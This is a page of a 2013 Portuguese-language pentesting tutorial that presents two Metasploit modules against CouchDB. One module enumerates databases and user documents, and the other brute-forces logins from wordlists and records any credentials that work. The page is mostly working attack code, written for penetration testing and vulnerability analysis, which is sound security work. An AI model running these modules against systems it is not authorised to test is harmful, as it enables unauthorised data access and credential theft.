CouchDB - For Fun and Profit

CouchDB é um de banco de dados orientado a documentos, uma implementação de NoSQL que pode ser acessado através de sua API JavaScript Object Notation (JSON) RESTful. Vamos falar sobre como explorá-lo para reunir informações para um penetration test ou análise de vulnerabilidades.

[ Hits: 30.672 ]

Por: Roberto Soares (3spreto) em 04/06/2013 | Blog: http://codesec.blogspot.com


Criando um script para o Metasploit



Para facilitar o trabalho durante os testes de intrusão, desenvolvi um script para o Metasploit, onde você conseguirá realizar todas as ações, possibilitando a automação da análise.

Seu uso é simples, basta definir o endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e sua ação (TARGETURI).

Em seu padrão, o módulo vem configurado para enumerar as databases existentes no servidor a ser testado, bastando apenas definir o host remoto (RHOST), confirmar se a aplicação roda na porta padrão (5984) e executar o comando "run".

Script couchdb_enum.rb:

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CouchDB Enum Utility',
            'Description'    => %q{
                Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
            },
            'Author'         => [ 'espreto <robertoespreto[at]gmail.com>' ],
            'License'        => MSF_LICENSE
            ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
                OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
                OptString.new('USERNAME', [false, 'The username to login as']),
                OptString.new('PASSWORD', [false, 'The password to login with'])
            ], self.class)
        end

    def run
        username = datastore['USERNAME']
        password = datastore['PASSWORD']

        uri = normalize_uri(datastore['TARGETURI'])
            res = send_request_cgi({
                'uri'      => uri,
                'method'   => datastore['HTTP_METHOD'],
                'authorization' => basic_auth(username, password),
                'headers'  => {
                    'Cookie'   => 'Whatever?'
                }
        })

        temp = JSON.parse(res.body)
        results = JSON.pretty_generate(temp)

        if res.nil?
            print_error("No response for #{target_host}")
        elsif (res.code == 200)
            print_good("#{target_host}:#{rport} -> #{res.code}")
            print_good("Response Headers:\n\n #{res.headers}")
            print_good("Response Body:\n\n #{results}\n")
        elsif (res.code == 403) # Forbidden
            print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        elsif (res.code == 404) # Not Found
            print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        else
            print_status("#{res.code}")
            print_status("#{results}")
        end

    rescue ::Exception => e
        print_error("Error: #{e.to_s}")
        return nil
    end
end

O script acima já se encontra no framework original do Metasploit, basta atualizá-lo (exemplo: git pull) ou então acessar o seguinte link:
Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs:
Linux: CouchDB - For Fun and Profit

Analisando o CouchDB com autenticação

Abaixo um novo script para o Metasploit, que realiza o brute-force de usuário e senha, baseando-se em uma wordlist. Por padrão, já é especificada uma wordlist presente no Metasploit, bastando apenas especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta padrão (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por você, basta especificar o path deste arquivo.

Script couchdb_login.rb:

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::AuthBrute
    include Msf::Auxiliary::Scanner

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'CouchDB Login Utility',
            'Description'    => %{
                This module attempts brute force to login to a CouchDB.
            },
            'Author'         =>

                [
                    'espreto <robertoespreto[at]gmail.com>'
                ],
            'License'        => MSF_LICENSE
        ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
                OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
                OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
                OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
            ], self.class)
    end

    def run_host(ip)

        user = datastore['USERNAME'].to_s
        pass = datastore['PASSWORD'].to_s

        vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")


            res = send_request_cgi({
                'uri'    => datastore['URI'],
                'method' => 'GET',
                'authorization' => basic_auth(user, pass)
            })

            return if res.nil?
            return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
            return if (res.code == 404)

            if [200, 301, 302].include?(res.code)
                vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
            else
                vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
                print_status("Brute-forcing... >:-} ")

                each_user_pass do |user, pass|
                    do_login(user, pass)
                end
            end
        rescue ::Rex::ConnectionError
            vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
    end

    def do_login(user, pass)
        vprint_status("Trying username:'#{user}' with password:'#{pass}'")
        begin
            res = send_request_cgi(
            {
                'uri'       => datastore['URI'],
                'method'    => 'GET',

                'ctype'     => 'text/plain',
                'authorization' => basic_auth(user, pass)
            })


            if res and res.code != 200
                vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}")
                return :skip_pass
            else
                print_good("Successful login. '#{user}' : '#{pass}'")

                report_hash = {

                    :host   => datastore['RHOST'],
                    :port   => datastore['RPORT'],
                    :sname  => 'couchdb',
                    :user   => user,
                    :pass   => pass,
                    :active => true,

                    :type => 'password'}

                report_auth_info(report_hash)
                return :next_user
            end

        rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
            print_error("HTTP Connection Failed, Aborting")
                return :abort
        end
        rescue ::Exception => e
            print_error("Error: #{e.to_s}")
            return nil
    end
end

Página anterior     Próxima página

Páginas do artigo
   1. O que é CouchDB
   2. Acessando os recursos do CouchDB com o cURL
   3. Criando um script para o Metasploit
   4. Aumentando a segurança do CouchDB
   5. Referências
Outros artigos deste autor

Vazamento de informações vitais via "HP Operations Manager Perfd"

Integração Contínua com Jenkins - Instalação (Parte 1)

From Deploy WAR (Tomcat) to Shell (FreeBSD)

Metasploit Exploitation

Metasploit Community Edition - Instalation

Leitura recomendada

Análise passiva (parte 2)

Impedindo o compartilhamento de conexão

ANDRAX - Pentest usando o Android

Nmap do início ao fim (parte 1)

Criando VPN com o PFSense

  
Comentários
[1] Comentário enviado por removido em 05/06/2013 - 12:45h

Cara eu acho que já te ví lá no fórum do backtrack.Obrigado pelo artigo!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts